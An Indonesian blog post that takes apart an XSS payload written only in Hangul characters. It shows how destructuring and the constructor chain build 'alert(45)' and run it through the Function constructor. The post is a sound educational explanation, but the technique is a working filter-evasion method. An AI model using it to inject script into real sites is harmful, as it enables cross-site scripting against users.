Tadi saya melihat ada yang sharing payload XSS yang hanya menggunakan karakter dalam Hangul (alfabet bahasa Korea), tanpa huruf latin. Biasanya payload butuh huruf latin karena berbagai fungsi (termasuk fungsi “alert”) butuh karakter latin. Di tulisan ini saya akan menjelaskan cara kerja payload ini lalu membuat versi dengan aksara Jawa.
Payload utamanya seperti ini:
([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)
[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)’)()
Saya tidak mengerti bahasa Korea, tapi kita bisa menggunakan search and replace untuk menggantikan tiap bagian dengan huruf latin seperti ini:
([,A,,,,B]=[]+{},[C,D,E,F,,G,H,I,,,J]=[!!A]+!A+A.K) [B+=A+J+I+C+D+E+B+C+A+D][B](G+H+F+D+C+'(45)' )()
Hasilnya: payload di atas tetap akan bisa jalan dengan output yang sama. Tapi bagaimana caranya, kok bisa? pertama kita pecahkan dulu menjadi beberapa bagian seperti ini:
(X) [Y][Y](Z)()
Bagian X adalah:
([,A,,,,B]=[]+{},[C,D,E,F,,G,H,I,,,J]=[!!A]+!A+A.K)
Bagian Y adalah seperti ini (di sini nilai B di kiri sama dengan di kanan)
[B+=A+J+I+C+D+E+B+C+A+D][B]
dan bagian Z adalah
G+H+F+D+C+'(45)'
Mari kita mulai bagian X, ini terdiri dari dua bagian, seperti ini (R=S, T=U)
Subbagian pertama adalah mengassign: [,A,,,,B]
dengan []+{}
. Di sisi kanan ekspresi [] + {}
akan menghasilkan string "[object Object]"
. Di JavaScript kita bisa mengisi beberapa variabel sekaligus dengan cara: [A,B,C]=[1,2,3], (A=1, B=2, C=3) atau jika ada elemen di kiri dikosongkan, maka nilainya akan diabaikan. Ini istilahnya adalah Destructuring assignment.
Jadi subbagian itu akan mengisi A dengan huruf kedua para string yaitu huruf ‘o’ (huruf pertama adalah ‘[‘) dan B diisi dengan string ‘c’. Jadi bagian R=S bisa disederhanakan jadi [A,B]="oc"
.
Subbagian kedua di sisi kanannya berisi: !!A (akan menjadi string “true”), !A (akan menjadi string “false”), dan A.K yang akan mengakses property K dari object A. Karena properti ini tidak ada, hasilnya adalah “undefined”. Jadi subbagian kedua adalah mengisi variabel
[C,D,E,F,,G,H,I,,,J]="truefalseundefined""
Atau singkatnya akan mengisi variabel berikut:
C = t
D = r
E = u
F = e
G = a
H = l
I = s
J = n
Jadi bisa kita sederhanakan:
[C,D,E,F,G,H,I,J] = "truealsn"
Kalau digabung keduanya
([A,B]="oc", [C,D,E,F,G,H,I,J] = "truealsn")
atau bisa juga disederhanakan lagi, intinya adalah mengisi variabel seperti ini
([A,B,C,D,E,F,G,H,I,J] = "octruealsn")
Bagian Y seperti ini: dengan nilai B=’c’, A=’o’
[B+=A+J+I+C+D+E+B+C+A+D][B]
Jadi jika digabung menjadi:
["constructor"] ["constructor"]
Bagian terakhir Z, seperti ini: dengan nilai G=’a’, H=’l’, F=’e’, D=’r’ dan C=’t’
G+H+F+D+C+'(45)'
Jadi Z isinya adalah alert(45)
. Jika digabung penyederhanaan X,Y, Z di atas:
([A,B,C,D,E,F,G,H,I] = "octrueals") ["constructor"] ["constructor"] ("alert(45)")()
karena variabel A,B,C dst sudah disubstitusikan, jadi tidak terpakai lagi:
("octrueals") ["constructor"] ["constructor"]
("alert(45)")()
String paling kiri sebenarnya tidak penting, karena objek string apapun boleh
("yohanes") ["constructor"] ["constructor"]
("alert(45)")()
Kenapa itu bisa menampilkan alert?
Bagian pertama "string" ["constructor"]
sama saja dengan "string".constructor
, yang hasilnya adalah sebuah fungsi konstruktor untuk String. Sebuah fungsi juga merupakan instance sebuah kelas yaitu Function
. Function
juga memiliki constructor (yang juga merupakan sebuah fungsi yang bisa dipanggil).
Jadi "string".construtor.construtor
adalah konstruktor untuk Function
. Di Javascript kita bisa membuat fungsi dengan memakai konstruktor Function
, seperti ini
f = Function.constructor("alert(1)")
lalu kita bisa memanggil fungsi f()
. Atau bisa juga langsung:
Function.constructor("alert(1)")()
Jadi pada dasarnya payload XSS di atas adalah:
"string" ["constructor"] ["constructor"] ("alert(45)")()
Atau:
String.constructor["constructor"]("alert(45)")()
Atau
Function.constructor("alert(45)")()
Jadi sebenarnya payloadnya sederhana, karakter Hangul pun bisa digantikan karakter bahasa apapun. Membuat payload XSS dengan karakter Jawa atau emoji juga bisa.
Jika teks di atas tidak terbaca karena masalah font, seharusnya seperti ini tampilannya dalam bentuk HTML lengkap:
Dari xss sampai ke konstruktor, keren bang.